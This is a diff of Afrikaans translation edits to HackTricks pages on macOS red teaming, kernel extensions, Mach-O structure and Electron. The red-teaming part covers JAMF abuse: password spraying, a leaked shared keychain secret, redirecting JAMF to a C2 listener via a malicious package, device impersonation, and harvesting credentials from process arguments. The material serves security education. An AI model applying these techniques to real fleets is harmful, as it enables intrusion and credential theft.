'n MDM sal toestemming hê om profiele te installeer, navrae te doen of te verwyder, aansoeke te installeer, plaaslike administrateursrekeninge te skep, firmware-wagwoord in te stel, die FileVault-sleutel te verander...
Om jou eie MDM te hardloop, moet jy **jou CSR deur 'n verkoper laat onderteken** wat jy kan probeer kry met [**https://mdmcert.download/**](https://mdmcert.download/). En om jou eie MDM vir Apple-toestelle te hardloop, kan jy [**MicroMDM**](https://github.com/micromdm/micromdm) gebruik.
@ -39,17 +39,17 @@ Om die toestel in 'n MDM in te skryf, moet jy 'n **`mobileconfig`**-lêer as roo
**Mythiese agent Orthrus** gebruik hierdie tegniek.
### JAMF PRO-misbruik
### JAMF PRO Misbruik
JAMF kan **aangepaste skripte** (skripte ontwikkel deur die stelseladministrateur), **inheemse vragte** (plaaslike rekening skepping, stel EFI-wagwoord, lêer/prosesmonitering...) en **MDM** (toestelkonfigurasies, toestelsertifikate...) hardloop.
JAMF kan **aangepaste skripte** (skripte wat deur die stelseladministrateur ontwikkel is), **inheemse vragte** (plaaslike rekening skepping, stel EFI-wagwoord, lêer/proses monitering...) en **MDM** (toestelkonfigurasies, toestelsertifikate...) hardloop.
#### JAMF self-inskrywing
Gaan na 'n bladsy soos `https://<maatskappy-naam>.jamfcloud.com/enroll/` om te sien of hulle **self-inskrywing geaktiveer het**. As hulle dit het, kan dit **vra vir kredentiale om toegang te verkry**.
Gaan na 'n bladsy soos `https://<maatskappy-naam>.jamfcloud.com/enroll/` om te sien of hulle **self-inskrywing geaktiveer het**. As hulle dit het, kan dit **vra vir geloofsbriewe om toegang te verkry**.
Jy kan die skrip [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) gebruik om 'n wagwoordspuitaanval uit te voer.
Verder, nadat jy die regte kredentiale gevind het, kan jy moontlik ander gebruikersname met die volgende vorm kragtig ontsluit:
Verder, nadat jy die regte geloofsbriewe gevind het, kan jy dalk ander gebruikersname met die volgende vorm kragtig maak:
![](<../../.gitbook/assets/image (7) (1) (1).png>)
@ -57,10 +57,10 @@ Verder, nadat jy die regte kredentiale gevind het, kan jy moontlik ander gebruik
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Die **`jamf`** binêre lêer het die geheim bevat om die sleutelketting oop te maak wat op daardie tydstip **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
Verder, jamf **volhard** as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
Die **`jamf`** binêre lêer bevat die geheim om die sleutelhangertoegang oop te maak wat op daardie tydstip **gedeel** was onder almal en dit was: **`jk23ucnq91jfu9aj`**.\
Verder, bly jamf voort as 'n **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### JAMF-toesteloorneem
#### JAMF Toesteloorneem
Die **JSS** (Jamf Sagteware-bediener) **URL** wat **`jamf`** sal gebruik, is geleë in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Hierdie lêer bevat basies die URL:
@ -78,11 +78,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
<integer>4</integer>
[...]
```
{% endcode %}
Dus, 'n aanvaller kan 'n skadelike pakket (`pkg`) laat val wat **hierdie lêer oorskryf** wanneer dit geïnstalleer word en die **URL na 'n Mythic C2 luisteraar van 'n Typhon agent** instel om nou JAMF as C2 te misbruik.
{% code overflow="wrap" %}
So, 'n aanvaller kan 'n skadelike pakkie (`pkg`) laat val wat **hierdie lêer oorskryf** wanneer dit geïnstalleer word en die **URL na 'n Mythic C2 luisteraar van 'n Typhon agent** instel om nou JAMF as C2 te misbruik.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@ -93,12 +89,12 @@ sudo jamf policy -id 0
#### JAMF Nabootsing
Om die **kommunikasie te naboots** tussen 'n toestel en JMF benodig jy:
Om die **kommunikasie** tussen 'n toestel en JMF te **naboots**, benodig jy:
* Die **UUID** van die toestel: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Die **JAMF sleutelhang** vanaf: `/Library/Application\ Support/Jamf/JAMF.keychain` wat die toestel sertifikaat bevat
Met hierdie inligting, **skep 'n VM** met die **gesteelde** Hardeware **UUID** en met **SIP gedeaktiveer**, laat die **JAMF sleutelhang val**, **hook** die Jamf **agent** en steel sy inligting.
Met hierdie inligting, **skep 'n VM** met die **gesteelde** Hardeware **UUID** en met **SIP uitgeschakel**, laat die **JAMF sleutelhang val**, **koppel** die Jamf **agent** en steel sy inligting.
#### Geheime steel
@ -106,7 +102,7 @@ Met hierdie inligting, **skep 'n VM** met die **gesteelde** Hardeware **UUID** e
Jy kan ook die ligging `/Library/Application Support/Jamf/tmp/` monitor vir die **aangepaste skripte** wat admins dalk wil uitvoer via Jamf aangesien hulle hier **geplaas, uitgevoer en verwyder** word. Hierdie skripte **mag kredensiale bevat**.
Nietemin, **kredensiale** mag deur hierdie skripte as **parameters** oorgedra word, dus sal jy `ps aux | grep -i jamf` moet monitor (sonder om selfs root te wees).
Nietemin, **kredensiale** kan deur hierdie skripte as **parameters** oorgedra word, dus sal jy `ps aux | grep -i jamf` moet monitor (sonder om self root te wees).
Die skrip [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) kan luister vir nuwe lêers wat bygevoeg word en nuwe proses argumente.
@ -120,7 +116,7 @@ En ook oor **MacOS** "spesiale" **netwerk** **protokolle**:
## Aktiewe Gids
In sommige gevalle sal jy vind dat die **MacOS-rekenaar aan 'n AD gekoppel is**. In hierdie scenario moet jy probeer om die aktiewe gids soos jy gewoond is te **opsom**. Vind bietjie **hulp** op die volgende bladsye:
In sommige gevalle sal jy vind dat die **MacOS-rekenaar aan 'n AD gekoppel** is. In hierdie scenario moet jy probeer om die aktiewe gids soos jy gewoond is, te **opsom**. Vind **hulp** op die volgende bladsye:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -140,9 +136,9 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
```
Daar is ook 'n paar gereedskap vir MacOS wat voorberei is om outomaties die AD te ontleed en te speel met kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is 'n uitbreiding van die Bloodhound ouditeringswerktuig wat die insameling en opname van Aktiewe Gids-verhoudings op MacOS-gashere moontlik maak.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is 'n Objective-C projek wat ontwerp is om met die Heimdal krb5-API's op macOS te interaksieer. Die doel van die projek is om beter sekuriteitstoetsing rondom Kerberos op macOS-toestelle moontlik te maak deur gebruik te maak van inheemse API's sonder om enige ander raamwerk of pakkette op die teiken te vereis.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript vir Outomatisering (JXA) werktuig om Aktiewe Gids-ontleding te doen.
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound is 'n uitbreiding van die Bloodhound ouditeringsgereedskap wat die insameling en opname van Aktiewe Gids-verhoudings op MacOS-gashere moontlik maak.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is 'n Objective-C projek wat ontwerp is om te interaksieer met die Heimdal krb5 API's op macOS. Die doel van die projek is om beter sekuriteitstoetsing rondom Kerberos op macOS-toestelle moontlik te maak deur gebruik te maak van inheemse API's sonder om enige ander raamwerk of pakkette op die teiken te vereis.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript vir Outomatisering (JXA) gereedskap om Aktiewe Gids-ontleding te doen.
### Domein Inligting
```bash
@ -152,18 +148,18 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
Die drie tipes MacOS-gebruikers is:
- **Plaaslike Gebruikers** - Bestuur deur die plaaslike OpenDirectory-diens, hulle is op geen manier gekoppel aan die Aktiewe Gids nie.
- **Plaaslike Gebruikers** - Bestuur deur die plaaslike OpenDirectory-diens, hulle is nie op enige manier gekoppel aan die Aktiewe Gids nie.
- **Netwerkgebruikers** - Vlugtige Aktiewe Gids-gebruikers wat 'n verbinding met die DC-bediener benodig om te verifieer.
- **Mobiele Gebruikers** - Aktiewe Gids-gebruikers met 'n plaaslike rugsteun vir hul geloofsbriewe en lêers.
Die plaaslike inligting oor gebruikers en groepe word gestoor in die map _/var/db/dslocal/nodes/Default._\
Byvoorbeeld, die inligting oor 'n gebruiker genaamd _mark_ word gestoor in _/var/db/dslocal/nodes/Default/users/mark.plist_ en die inligting oor die groep _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_.
Boonop voeg **MacHound drie nuwe kante** by tot die Bloodhound-databasis deur die gebruik van die HasSession en AdminTo kante:
Benewens die gebruik van die HasSession en AdminTo kante, **MacHound voeg drie nuwe kante** by die Bloodhound-databasis:
- **CanSSH** - entiteit wat toegelaat word om SSH na die gasheer te gebruik
- **CanVNC** - entiteit wat toegelaat word om VNC na die gasheer te gebruik
- **CanAE** - entiteit wat toegelaat word om AppleEvent-skripte op die gasheer uit te voer
- **CanSSH** - entiteit wat toegelaat word om SSH na gasheer te gebruik
- **CanVNC** - entiteit wat toegelaat word om VNC na gasheer te gebruik
- **CanAE** - entiteit wat toegelaat word om AppleEvent-skripte op gasheer uit te voer
```bash
#User enumeration
dscl . ls /Users
@ -189,7 +185,7 @@ Meer inligting in [https://its-a-feature.github.io/posts/2018/01/Active-Director
## Toegang tot die Sleutelhang
Die Sleutelhang bevat hoogstwaarskynlik sensitiewe inligting wat, as dit toegang kry sonder om 'n versoek te genereer, kan help om 'n rooi span-oefening voort te sit:
Die Sleutelhang bevat hoogstwaarskynlik sensitiewe inligting wat, as dit sonder 'n versoek toegang kry, kan help om 'n rooi span-oefening voort te sit:
{% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md)
@ -197,7 +193,7 @@ Die Sleutelhang bevat hoogstwaarskynlik sensitiewe inligting wat, as dit toegang
## Eksterne Dienste
MacOS Red Teaming verskil van 'n gewone Windows Red Teaming omdat gewoonlik **MacOS geïntegreer is met verskeie eksterne platforms direk**. 'n Gewone konfigurasie van MacOS is om toegang tot die rekenaar te verkry deur **OneLogin gesinkroniseerde geloofsbriewe te gebruik, en toegang te verkry tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
MacOS Red Teaming verskil van 'n gewone Windows Red Teaming omdat **MacOS gewoonlik geïntegreer is met verskeie eksterne platforms direk**. 'n Gewone konfigurasie van MacOS is om toegang tot die rekenaar te verkry deur **OneLogin gesinkroniseerde geloofsbriewe te gebruik, en toegang te verkry tot verskeie eksterne dienste** (soos github, aws...) via OneLogin.
## Verskeie Red Team tegnieke
@ -212,5 +208,5 @@ Wanneer 'n lêer in Safari afgelaai word, sal dit as dit 'n "veilige" lêer is,
* [**https://www.youtube.com/watch?v=IiMladUbL6E**](https://www.youtube.com/watch?v=IiMladUbL6E)
* [**https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6**](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6)
* [**https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0**](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0)
* [**Kom na die Donker Kant, Ons Het Appels: Die Omskakeling van macOS-bestuurskunde na die Bose Kant**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**Kom na die Donker Kant, Ons Het Appels: Die Omskakeling van macOS-bestuurskunde na Boos**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)

View file

@ -1,11 +1,11 @@
# macOS Kernel-uitbreidings
# macOS Kernel Uitbreidings
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy vir 'n **sakeman in siber-sekuriteit**? Wil jy jou **sakeman geadverteer sien op HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFT's**](https://opensea.io/collection/the-peass-family)
* Werk jy vir 'n **sakemensekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien op HackTricks**? Of wil jy toegang hê tot die **laaste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS en HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-groep** of die [**telegram-groep**](https://t.me/peass) of **volg my** op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Deel jou hacking-truuks deur 'n PR te stuur na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
@ -22,17 +22,17 @@ Dit is vanselfsprekend so kragtig dat dit **ingewikkeld is om 'n kernel-uitbreid
* Wanneer jy **herstelmodus betree**, moet kernel-**uitbreidings toegelaat word** om gelaai te word:
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* Die kernel-uitbreiding moet **onderteken wees met 'n kernel-kodesertifikaat**, wat slegs deur Apple **toegeken kan word**. Hulle sal in detail die maatskappy en die redes waarom dit benodig word, ondersoek.
* Die kernel-uitbreiding moet ook **genoteer wees**, sodat Apple dit vir malware kan ondersoek.
* Die kernel-uitbreiding moet **onderteken wees met 'n kernel-kodesertifikaat**, wat slegs deur Apple **toegeken kan word**. Wie sal in detail die maatskappy en die redes waarom dit benodig word, ondersoek.
* Die kernel-uitbreiding moet ook **genoteer wees**, sodat Apple dit vir malware kan nagaan.
* Dan is die **root**-gebruiker die een wat die kernel-uitbreiding kan **laai** en die lêers binne die pakkie moet aan **root** toebehoort.
* Tydens die oplaai-proses moet die pakkie voorberei word in 'n **beskermde nie-root-plek**: `/Library/StagedExtensions` (vereis die `com.apple.rootless.storage.KernelExtensionManagement` toekenning).
* Laastens, wanneer 'n poging gedoen word om dit te laai, sal die gebruiker 'n [**bevestigingsversoek ontvang**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) en, indien aanvaar, moet die rekenaar **herlaai** word om dit te laai.
* Laastens, wanneer daar gepoog word om dit te laai, sal die gebruiker 'n [**bevestigingsversoek ontvang**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) en, indien aanvaar, moet die rekenaar **herlaai** word om dit te laai.
### Laaiproses
In Catalina was dit so: Dit is interessant om op te let dat die **verifikasieproses** in **gebruikersruimte** plaasvind. Tog kan slegs programme met die **`com.apple.private.security.kext-management`** toekenning die kernel nader om 'n uitbreiding te laai: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
In Catalina was dit so: Dit is interessant om op te let dat die **verifikasieproses** in **gebruikersruimte** plaasvind. Tog kan slegs aansoeke met die **`com.apple.private.security.kext-management`** toekenning die kernel vra om 'n uitbreiding te laai: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** kliek **begin** die **verifikasieproses** vir die laai van 'n uitbreiding
* Dit sal met **`kextd`** praat deur 'n **Mach-diens** te stuur.
@ -53,8 +53,8 @@ As **`kextd`** nie beskikbaar is nie, kan **`kextutil`** dieselfde kontroles uit
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy vir 'n **sakeman in siber-sekuriteit**? Wil jy jou **sakeman geadverteer sien op HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFT's**](https://opensea.io/collection/the-peass-family)
* Werk jy vir 'n **sakemensekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien op HackTricks**? Of wil jy toegang hê tot die **laaste weergawe van PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons eksklusiewe versameling van [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS en HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) **Discord-groep** of die [**telegram-groep**](https://t.me/peass) of **volg my** op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Deel jou hacking-truuks deur 'n PR te stuur na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -80,7 +80,7 @@ of deur die [Mach-O View](https://sourceforge.net/projects/machoview/) gereedska
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Soos jy dalk dink, verdubbel 'n universele bineêre wat vir 2 argitekture saamgestel is die grootte van een wat net vir 1 argitektuur saamgestel is.
Soos jy dalk dink, verdubbel 'n universele bineêre wat vir 2 argitekture saamgestel is, gewoonlik die grootte van een wat net vir 1 argitektuur saamgestel is.
## **Mach-O Kop**
@ -129,7 +129,7 @@ Of deur [Mach-O View](https://sourceforge.net/projects/machoview/) te gebruik:
## **Mach-O Laai-opdragte**
Die **lêer se uitleg in geheue** word hier gespesifiseer, met inligting oor die **simbooltabel se ligging**, die konteks van die hoofdraad by die begin van die uitvoering, en die vereiste **gedeelde biblioteke**. Instruksies word aan die dinamiese laaier **(dyld)** verskaf oor die binêre laaiingsproses in geheue.
Die **lêer se uitleg in geheue** word hier gespesifiseer, waar die **simbooltabel se ligging**, die konteks van die hoofdraad by uitvoerbegin, en die vereiste **gedeelde biblioteke** beskryf word. Instruksies word aan die dinamiese laaier **(dyld)** verskaf oor die binêre laaiingsproses in geheue.
Die gebruik die **load\_command** struktuur, gedefinieer in die genoemde **`loader.h`**:
```objectivec
@ -143,12 +143,12 @@ Daar is ongeveer **50 verskillende tipes laai-opdragte** wat die stelsel anders
### **LC\_SEGMENT/LC\_SEGMENT\_64**
{% hint style="success" %}
Hierdie tipe Laai-opdrag definieer **hoe om die \_\_TEXT** (uitvoerbare kode) **en \_\_DATA** (data vir die proses) **segmente** te laai volgens die **offsets aangedui in die Data-afdeling** wanneer die binêre lêer uitgevoer word.
Hierdie tipe Laai-opdrag definieer **hoe om die \_\_TEXT** (uitvoerbare kode) **en \_\_DATA** (data vir die proses) **segmente** te laai volgens die **offsets aangedui in die Data-seksie** wanneer die binêre lêer uitgevoer word.
{% endhint %}
Hierdie opdragte **definieer segmente** wat in die **virtuele geheue-ruimte** van 'n proses ingevoeg word wanneer dit uitgevoer word.
Daar is **verskillende tipes** segmente, soos die **\_\_TEXT** segment, wat die uitvoerbare kode van 'n program bevat, en die **\_\_DATA** segment, wat data bevat wat deur die proses gebruik word. Hierdie **segmente is geleë in die data-afdeling** van die Mach-O lêer.
Daar is **verskillende tipes** segmente, soos die **\_\_TEXT** segment, wat die uitvoerbare kode van 'n program bevat, en die **\_\_DATA** segment, wat data bevat wat deur die proses gebruik word. Hierdie **segmente is geleë in die data-seksie** van die Mach-O-lêer.
**Elke segment** kan verder verdeel word in verskeie **seksies**. Die **laai-opdragstruktuur** bevat **inligting** oor **hierdie seksies** binne die betrokke segment.
@ -190,11 +190,11 @@ uint32_t reserved2; /* reserved (for count or sizeof) */
uint32_t reserved3; /* reserved */
};
```
Voorbeeld van **afdeling kop**:
Voorbeeld van **seksie-kop**:
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
As jy die **afdeling offset** (0x37DC) + die **offset** waar die **arg begin**, in hierdie geval `0x18000` byvoeg --> `0x37DC + 0x18000 = 0x1B7DC`
As jy die **seksie-offset** (0x37DC) **byvoeg** by die **offset** waar die **argitektuur begin**, in hierdie geval `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -204,9 +204,9 @@ otool -lv /bin/ls
```
Gemeenskaplike segmente wat deur hierdie cmd gelaai word:
- **`__PAGEZERO`:** Dit instrueer die kernel om die **adres nul** te **kaart** sodat dit **nie gelees, geskryf of uitgevoer kan word nie**. Die maxprot en minprot veranderlikes in die struktuur word na nul ingestel om aan te dui dat daar **geen lees-skrif-uitvoer regte op hierdie bladsy** is.
- Hierdie toewysing is belangrik om **NULL-aanwyservaringskwakbaarhede te verminder**.
- **`__TEXT`**: Bevat **uitvoerbare** **kode** met **lees** en **uitvoer** toestemmings (nie skryfbaar)**.** Gewone dele van hierdie segment:
- **`__PAGEZERO`:** Dit instrueer die kernel om die **adres nul** te **kaart** sodat dit **nie gelees, geskryf of uitgevoer kan word nie**. Die maxprot en minprot veranderlikes in die struktuur word na nul ingestel om aan te dui dat daar **geen lees-skuif-uitvoer regte op hierdie bladsy** is.
- Hierdie toewysing is belangrik om **NULL-aanwyservaringskwakbaarhede te versag**.
- **`__TEXT`**: Bevat **uitvoerbare** **kode** met **lees** en **uitvoer** toestemmings (nie skryfbare)**.** Gemeenskaplike dele van hierdie segment:
- `__text`: Opgestelde binêre kode
- `__const`: Konstante data
- `__cstring`: String konstantes
@ -216,26 +216,26 @@ Gemeenskaplike segmente wat deur hierdie cmd gelaai word:
- `__bss`: Statiese veranderlikes (wat nie geïnisialiseer is nie)
- `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, ens): Inligting wat deur die Objective-C-uitvoertyd gebruik word
- **`__LINKEDIT`**: Bevat inligting vir die koppelaar (dyld) soos, "simbool, string, en herlokasie tabelle inskrywings."
- **`__OBJC`**: Bevat inligting wat deur die Objective-C-uitvoertyd gebruik word. Hierdie inligting kan ook in die \_\_DATA segment gevind word, binne verskeie in \_\_objc\_\* afdelings.
- **`__OBJC`**: Bevat inligting wat deur die Objective-C-uitvoertyd gebruik word. Alhoewel hierdie inligting ook in die \_\_DATA segment gevind kan word, binne verskeie in \_\_objc\_\* afdelings.
### **`LC_MAIN`**
Bevat die ingangspunt in die **entryoff eienskap.** Tydens laaityd **voeg dyld** eenvoudig hierdie waarde by die (in-geheue) **basis van die binêre lêer**, en **spring** dan na hierdie instruksie om die uitvoering van die binêre se kode te begin.
Bevat die ingangspunt in die **entryoff eienskap.** By laai-tyd, **dyld** voeg eenvoudig hierdie waarde by die (in-memory) **basis van die binêre lêer**, en **spring** dan na hierdie instruksie om die uitvoering van die binêre se kode te begin.
### **LC\_CODE\_SIGNATURE**
Bevat inligting oor die **kodesignatuur van die Macho-O-lêer**. Dit bevat slegs 'n **verskuiwing** wat na die **handtekeningblob** **verwys**. Dit is tipies aan die einde van die lêer.\
Nietemin kan jy enige inligting oor hierdie afdeling vind in [**hierdie blogpos**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) en hierdie [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
Bevat inligting oor die **kodesignatuur van die Macho-O-lêer**. Dit bevat slegs 'n **verskuiwing** wat na die **handtekeningblob** wys. Dit is tipies aan die einde van die lêer.\
Nietemin, kan jy enige inligting oor hierdie afdeling vind in [**hierdie blogpos**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) en hierdie [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
### **LC\_LOAD\_DYLINKER**
Bevat die **pad na die dinamiese koppelvlakuitvoerbare lêer** wat gedeelde biblioteke in die prosesadresruimte kaart. Die **waarde is altyd ingestel op `/usr/lib/dyld`**. Dit is belangrik om in ag te neem dat in macOS, dylib-kaarting in **gebruikermodus** plaasvind, nie in kernelmodus nie.
Bevat die **pad na die dinamiese koppelvlakuitvoerbare lêer** wat gedeelde biblioteke in die prosesadresruimte kaart. Die **waarde is altyd ingestel op `/usr/lib/dyld`**. Dit is belangrik om in ag te neem dat in macOS, gebeur die dylib-kaart in **gebruikermodus**, nie in kernelmodus nie.
### **`LC_LOAD_DYLIB`**
Hierdie laaikommando beskryf 'n **dinamiese** **biblioteek** afhanklikheid wat die **laaier** (dyld) **instrueer om genoemde biblioteek te laai en te skakel**. Daar is 'n LC\_LOAD\_DYLIB laaikommando **vir elke biblioteek** wat die Mach-O-binêre benodig.
Hierdie laaibestelling beskryf 'n **dinamiese** **biblioteek** afhanklikheid wat die **laaier** (dyld) **instrueer om genoemde biblioteek te laai en te skakel**. Daar is 'n LC\_LOAD\_DYLIB laaibestelling **vir elke biblioteek** wat die Mach-O-binêre benodig.
- Hierdie laaikommando is 'n struktuur van die tipe **`dylib_command`** (wat 'n struct dylib bevat, wat die werklike afhanklike dinamiese biblioteek beskryf):
- Hierdie laaibestelling is 'n struktuur van die tipe **`dylib_command`** (wat 'n struct dylib bevat, wat die werklike afhanklike dinamiese biblioteek beskryf):
```objectivec
struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
@ -287,7 +287,7 @@ Dit sluit in:
* **Simbooltabel**: Wat inligting oor die eksterne funksie bevat wat deur die binêre gebruik word
* Dit kan ook interne funksie, veranderlike name en meer bevat.
Om dit te kontroleer kan jy die [**Mach-O View**](https://sourceforge.net/projects/machoview/) gereedskap gebruik:
Om dit te kontroleer, kan jy die [**Mach-O View**](https://sourceforge.net/projects/machoview/) gereedskap gebruik:
<figure><img src="../../../.gitbook/assets/image (2) (1) (4).png" alt=""><figcaption></figcaption></figure>
@ -301,7 +301,7 @@ size -m /bin/ls
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -19,21 +19,21 @@ Ander maniere om HackTricks te ondersteun:
As jy nie weet wat Electron is nie, kan jy [**baie inligting hier vind**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Maar vir nou moet jy net weet dat Electron **node** laat loop.\
En node het sekere **parameters** en **omgewingsveranderlikes** wat gebruik kan word om **dit ander kode te laat uitvoer** as die aangeduide lêer.
### Electron-smeulstowwe
### Electron-skerms
Hierdie tegnieke sal binnekort bespreek word, maar onlangs het Electron verskeie **sekuriteitsvlaggies bygevoeg om hulle te voorkom**. Dit is die [**Electron-smeulstowwe**](https://www.electronjs.org/docs/latest/tutorial/fuses) en dit is diegene wat gebruik word om te voorkom dat Electron-toepassings in macOS **willekeurige kode laai**:
Hierdie tegnieke sal later bespreek word, maar onlangs het Electron verskeie **sekuriteitsvlaggies bygevoeg om hulle te voorkom**. Dit is die [**Electron-skerms**](https://www.electronjs.org/docs/latest/tutorial/fuses) en dit is diegene wat gebruik word om te voorkom dat Electron-toepassings in macOS **willekeurige kode laai**:
